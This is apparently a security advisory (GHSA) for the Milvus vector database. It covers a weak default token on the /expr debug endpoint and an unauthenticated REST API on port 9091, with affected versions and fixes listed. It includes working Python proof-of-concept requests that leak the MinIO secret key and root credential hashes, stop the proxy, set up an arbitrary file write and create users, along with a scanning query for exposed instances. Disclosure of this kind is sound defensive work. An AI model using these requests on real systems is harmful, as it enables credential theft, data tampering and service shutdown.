GHSA-7ppg-37fh-vcr6 Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise

• Go github.com/milvus-io/milvus: < 2.5.27 → fixed in 2.5.27 • Go github.com/milvus-io/milvus: >= 2.6.0, < 2.6.10 → fixed in 2.6.10

Summary Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities: 1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation. 2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. Details Vulnerability 1: Weak Default Authentication on `/expr` Endpoint The `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to: • Information/Credential Disclosure: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc. • Denial of Service: Invoking `proxy.Stop()` to shut down the proxy service. • Arbitrary File Write (potential RCE): Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem. Vulnerability 2: Unauthenticated REST API on Metrics Port Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in `internal/distributed/proxy/service.go` (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports. An attacker can perform any business operation without credentials, including: • Creating, listing, and deleting collections • Inserting and querying data • Creating, listing, and deleting user credentials • Modifying user passwords Proof of Concept PoC 1 — `/expr` Endpoint Exploitation ```python import requests url = "http://:9091/expr" Leak sensitive configuration (e.g., MinIO secret key) res = requests.get(url, params={ "auth": "by-dev", "code": "param.MinioCfg.SecretAccessKey.GetValue()" }, timeout=5) print(res.json().get("output", "")) Retrieve hashed credentials for the root user res = requests.get(url, params={ "auth": "by-dev", "code": "rootcoord.meta.GetCredential(ctx, 'root')" }, timeout=5) print(res.json().get("output", "")) Denial of Service — stop the proxy res = requests.get(url, params={ "auth": "by-dev", "code": "proxy.Stop()" }, timeout=5) Arbitrary file write (potential RCE) for cmd in [ 'param.Save("proxy.accessLog.localPath", "/tmp")', 'param.Save("proxy.accessLog.formatters.base.format", "whoami")', 'param.Save("proxy.accessLog.filename", "evil.sh")', 'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")' ]: requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5) ``` PoC 2 — Unauthenticated REST API Access ```python import requests target_url = "http://:9091" Create a user without any authentication res = requests.post(f"{target_url}/api/v1/credential", json={ "username": "attacker_user", "password": "MTIzNDU2Nzg5", }) print(res.json()) List all users res = requests.get(f"{target_url}/api/v1/credential/users") print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']} Create and delete collections, insert data — all without authentication ``` Internet Exposure A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern: ``` http.body="404 page not found" && port="9091" ``` This indicates the vulnerability is actively exploitable in real-world production environments. Impact An unauthenticated remote attacker with network access to port 9091 can: 1. Exfiltrate secrets and credentials — MinIO keys, etcd credentials, user password hashes, and all internal configuration values. 2. Manipulate all data — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls. 3. Manage user accounts — Create administrative users, reset passwords, and escalate privileges. 4. Cause denial of service — Shut down proxy services, drop databases, or corrupt metadata. 5. Write arbitrary files — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation. Remediation Recommended Fixes 1. Remove or disable the `/expr` endpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. 2. Do not register business API routes on the metrics port. Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently. 3. Bind port 9091 to localhost by default (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured. 4. Enforce authentication on all API endpoints, regardless of which port they are served on. User Mitigations (until patched) • Block external access to port 9091 using firewall rules or network policies. • If running in Docker/Kubernetes, do not expose port 9091 outside the internal network. • Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API). Credit This vulnerability was discovered and responsibly reported by YingLin Xie ([email protected]). It was independently reported by 0x1f and zznQ (ac0d3r).